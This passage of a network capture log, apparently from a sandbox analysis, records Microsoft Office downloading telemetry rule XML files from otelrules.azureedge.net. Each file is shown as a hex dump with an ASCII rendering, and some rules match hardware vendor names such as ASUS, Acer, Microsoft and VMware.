2024-10-29 09:47:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094736Z-16849878b78g2m84h2v9sta290000000055g00000000e0a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:36 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094736Z-15b8d89586fwzdd8urmg0p1ebs0000000gzg000000000anc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094738Z-16849878b78xblwksrnkakc08w00000005gg00000000ew5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:38 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094738Z-16849878b78x6gn56mgecg60qc0000000870000000003f24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:38 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094738Z-r197bdfb6b4d9xksru4x6qbqr000000006dg000000003wkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f0c209fa-601e-00ab-740d-2966f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094738Z-17c5cb586f66g7mvgrudxte95400000001e0000000000ra6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5271dd0b-801e-00a0-6eb7-282196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094738Z-r197bdfb6b4wmcgqdschtyp7yg00000006ag000000003z7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:38 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-r197bdfb6b4bs5qf58wn14wgm000000005bg000000004uay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:39 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b785jrf8dn0d2rczaw00000007f000000000agqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b78fssff8btnns3b1400000006rg000000000ufa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:39 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d7829477-101e-008d-1890-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-r197bdfb6b4d9xksru4x6qbqr000000006c0000000005khd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-15b8d89586fmc8ck21zz2rtg1w00000003hg000000005tau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
